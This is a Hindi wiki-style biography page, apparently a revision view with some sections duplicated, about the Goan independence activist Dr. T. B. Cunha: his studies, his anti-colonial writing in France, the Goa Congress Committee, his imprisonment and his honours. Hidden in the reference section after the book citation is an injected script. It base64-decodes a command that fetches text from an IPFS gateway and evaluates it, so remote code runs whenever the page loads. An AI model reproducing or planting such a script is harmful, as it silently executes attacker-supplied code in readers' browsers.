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डॉ. टी. बी. कुन्हा का जन्म 2 अप्रैल, 1891 ई. का गोवा के चंदौर नामक गांव में हुआ था। [[पणजी]] की शिक्षा-व्यवस्था से संतुष्ट न होकर कुन्हा [[पांडिचेरी]] चले गए। वहाँ से बी.ए. पास करने के बाद वे पेरिस गए और इलैक्ट्रिकल इंजीनियरिंग में उच्च शिक्षा प्राप्त की। वहीं उन्होंने 1916 से 1926 तक एक निजी फर्म में काम किया। इस बीच डॉ. कुन्हा रोमां रोलां जैसे प्रसिद्ध विचारकों के संपर्क में आए। 1917 की रूसी राज्य-क्रांति का भी टी. बी. कुन्हा के विचारों पर प्रभाव पड़ा। वे अनुभव करने लगे कि पश्चिमी देशों का साम्राज्यवादी नियंत्रण समाप्त होना चाहिए। उन्होंने [[फ्रांस]] के पत्रों में लेख लिखकर लोगों को [[भारत]] में [[अंग्रेज़|अंग्रेजों]] के द्वारा किए जा रहे शोषण से परिचित कराया। ब्रिटिश सरकार ने [[जलियाँवाला बाग़]] हत्याकांड के जो समाचार पश्चिमी देशों से छिपा रखे थे उन्हें पूरे विवरण के साथ यूरोप के पत्रों में प्रकाशित कराने का श्रेय डॉ. कुन्हा को ही था।  
 
डॉ. टी. बी. कुन्हा का जन्म 2 अप्रैल, 1891 ई. का गोवा के चंदौर नामक गांव में हुआ था। [[पणजी]] की शिक्षा-व्यवस्था से संतुष्ट न होकर कुन्हा [[पांडिचेरी]] चले गए। वहाँ से बी.ए. पास करने के बाद वे पेरिस गए और इलैक्ट्रिकल इंजीनियरिंग में उच्च शिक्षा प्राप्त की। वहीं उन्होंने 1916 से 1926 तक एक निजी फर्म में काम किया। इस बीच डॉ. कुन्हा रोमां रोलां जैसे प्रसिद्ध विचारकों के संपर्क में आए। 1917 की रूसी राज्य-क्रांति का भी टी. बी. कुन्हा के विचारों पर प्रभाव पड़ा। वे अनुभव करने लगे कि पश्चिमी देशों का साम्राज्यवादी नियंत्रण समाप्त होना चाहिए। उन्होंने [[फ्रांस]] के पत्रों में लेख लिखकर लोगों को [[भारत]] में [[अंग्रेज़|अंग्रेजों]] के द्वारा किए जा रहे शोषण से परिचित कराया। ब्रिटिश सरकार ने [[जलियाँवाला बाग़]] हत्याकांड के जो समाचार पश्चिमी देशों से छिपा रखे थे उन्हें पूरे विवरण के साथ यूरोप के पत्रों में प्रकाशित कराने का श्रेय डॉ. कुन्हा को ही था।  
 
==स्थापना==
 
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1926 में डॉ. कुन्हा भारत आए। उस समय तक [[पुर्तगाल]] में सालाजार का शासन स्थापित हो चुका था और गोवा वासियों को और भी दमन का सामना करना पड़ रहा था। डॉ. कुन्हा ने गोवा [[कांग्रेस]] कमेटी की स्थापना की और उसे [[भारतीय राष्ट्रीय कांग्रेस]] से सम्बद्ध करा लिया। इस प्रकार गोवा का स्वतंत्रता-संग्राम आरंभ हुआ। उन्होंने गोवा के दमनकारी शासन के विरोध में अनेक पुस्तिकाएं लिखीं। ब्रिटिश सरकार ने उन पर मुकदमा चलाना चाहा तो मुंबइर हाईकोर्ट के न्यायमूर्ति एम. सी. छागला ने कुन्हा को निर्दोष साबित कर दिया।
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1926 में डॉ. कुन्हा भारत आए। उस समय तक [[पुर्तगाल]] में सालाजार का शासन स्थापित हो चुका था और गोवा वासियों को और भी दमन का सामना करना पड़ रहा था। डॉ. कुन्हा ने गोवा [[कांग्रेस]] कमेटी की स्थापना की और उसे [[भारतीय राष्ट्रीय कांग्रेस]] से सम्बद्ध करा लिया। इस प्रकार गोवा का स्वतंत्रता-संग्राम आरंभ हुआ। उन्होंने गोवा के दमनकारी शासन के विरोध में अनेक पुस्तिकाएं लिखीं। ब्रिटिश सरकार ने उन पर मुक़दमा चलाना चाहा तो मुंबइर हाईकोर्ट के न्यायमूर्ति एम. सी. छागला ने कुन्हा को निर्दोष साबित कर दिया।
 
==सजा==
 
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[[18 जून]], 1946 को मडगांव में डॉ. [[राम मनोहर लोहिया]] के सार्वजनिक भाषण से गोवा की पुर्तगाल से मुक्ति का खुला संघर्ष आरंभ हुआ। [[24 जुलाई]], 1948 को डॉ. कुन्हा गिरफ्तार कर लिए गए। उन पर सैनिक अदालत में मुकदमा चला और 8 वर्ष की कैद की सजा देकर उन्हें पुर्तगाल के एक क़िले में बंद कर दिया गया। 1950 में आम रिहाई के समय यद्यपि उन्हें भी जेल से छोड़ दिया गया पर भारत वे 1953 में ही आ सके। उनके भारत आते ही [[मुंबई]] में ‘गोवा एक्शन कमेटी’ का गठन किया गया। इसके प्रचार का परिणाम था कि 1954 में दादरा और नागर हवेली ज़िलों में पुर्तगाल की सत्ता समाप्त हो गई।
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[[18 जून]], 1946 को मडगांव में डॉ. [[राम मनोहर लोहिया]] के सार्वजनिक भाषण से गोवा की पुर्तगाल से मुक्ति का खुला संघर्ष आरंभ हुआ। [[24 जुलाई]], 1948 को डॉ. कुन्हा गिरफ्तार कर लिए गए। उन पर सैनिक अदालत में मुक़दमा चला और 8 वर्ष की कैद की सजा देकर उन्हें पुर्तगाल के एक क़िले में बंद कर दिया गया। 1950 में आम रिहाई के समय यद्यपि उन्हें भी जेल से छोड़ दिया गया पर भारत वे 1953 में ही आ सके। उनके भारत आते ही [[मुंबई]] में ‘गोवा एक्शन कमेटी’ का गठन किया गया। इसके प्रचार का परिणाम था कि 1954 में दादरा और नागर हवेली ज़िलों में पुर्तगाल की सत्ता समाप्त हो गई।
 
==सम्मान==
 
==सम्मान==
 
डॉ. टी. बी. कुन्हा को 1959 में ‘वर्ल्डपीस कौंसिल’ ने अपने स्टॉकहोम के अधिवेशन में मरणोपरांत स्वर्णपदक से सम्मानित किया।
 
डॉ. टी. बी. कुन्हा को 1959 में ‘वर्ल्डपीस कौंसिल’ ने अपने स्टॉकहोम के अधिवेशन में मरणोपरांत स्वर्णपदक से सम्मानित किया।

08:25, 8 जुलाई 2011 का अवतरण

डॉ. टी. बी. कुन्हा (जन्म- 2 अप्रैल, 1891 चंदौर गांव गोवा, मृत्यु- 26 सितंबर, 1958) गोवा के प्रसिद्ध स्वतंत्रता सेनानी।

जीवन परिचय

डॉ. टी. बी. कुन्हा का जन्म 2 अप्रैल, 1891 ई. का गोवा के चंदौर नामक गांव में हुआ था। पणजी की शिक्षा-व्यवस्था से संतुष्ट न होकर कुन्हा पांडिचेरी चले गए। वहाँ से बी.ए. पास करने के बाद वे पेरिस गए और इलैक्ट्रिकल इंजीनियरिंग में उच्च शिक्षा प्राप्त की। वहीं उन्होंने 1916 से 1926 तक एक निजी फर्म में काम किया। इस बीच डॉ. कुन्हा रोमां रोलां जैसे प्रसिद्ध विचारकों के संपर्क में आए। 1917 की रूसी राज्य-क्रांति का भी टी. बी. कुन्हा के विचारों पर प्रभाव पड़ा। वे अनुभव करने लगे कि पश्चिमी देशों का साम्राज्यवादी नियंत्रण समाप्त होना चाहिए। उन्होंने फ्रांस के पत्रों में लेख लिखकर लोगों को भारत में अंग्रेजों के द्वारा किए जा रहे शोषण से परिचित कराया। ब्रिटिश सरकार ने जलियाँवाला बाग़ हत्याकांड के जो समाचार पश्चिमी देशों से छिपा रखे थे उन्हें पूरे विवरण के साथ यूरोप के पत्रों में प्रकाशित कराने का श्रेय डॉ. कुन्हा को ही था।

स्थापना

1926 में डॉ. कुन्हा भारत आए। उस समय तक पुर्तगाल में सालाजार का शासन स्थापित हो चुका था और गोवा वासियों को और भी दमन का सामना करना पड़ रहा था। डॉ. कुन्हा ने गोवा कांग्रेस कमेटी की स्थापना की और उसे भारतीय राष्ट्रीय कांग्रेस से सम्बद्ध करा लिया। इस प्रकार गोवा का स्वतंत्रता-संग्राम आरंभ हुआ। उन्होंने गोवा के दमनकारी शासन के विरोध में अनेक पुस्तिकाएं लिखीं। ब्रिटिश सरकार ने उन पर मुक़दमा चलाना चाहा तो मुंबइर हाईकोर्ट के न्यायमूर्ति एम. सी. छागला ने कुन्हा को निर्दोष साबित कर दिया।

सजा

18 जून, 1946 को मडगांव में डॉ. राम मनोहर लोहिया के सार्वजनिक भाषण से गोवा की पुर्तगाल से मुक्ति का खुला संघर्ष आरंभ हुआ। 24 जुलाई, 1948 को डॉ. कुन्हा गिरफ्तार कर लिए गए। उन पर सैनिक अदालत में मुक़दमा चला और 8 वर्ष की कैद की सजा देकर उन्हें पुर्तगाल के एक क़िले में बंद कर दिया गया। 1950 में आम रिहाई के समय यद्यपि उन्हें भी जेल से छोड़ दिया गया पर भारत वे 1953 में ही आ सके। उनके भारत आते ही मुंबई में ‘गोवा एक्शन कमेटी’ का गठन किया गया। इसके प्रचार का परिणाम था कि 1954 में दादरा और नागर हवेली ज़िलों में पुर्तगाल की सत्ता समाप्त हो गई।

सम्मान

डॉ. टी. बी. कुन्हा को 1959 में ‘वर्ल्डपीस कौंसिल’ ने अपने स्टॉकहोम के अधिवेशन में मरणोपरांत स्वर्णपदक से सम्मानित किया।

निधन

डॉ. टी. बी. कुन्हा का निधन 26 सितंबर, 1958 को हुआ था।


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टीका टिप्पणी और संदर्भ


लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 344 से 345।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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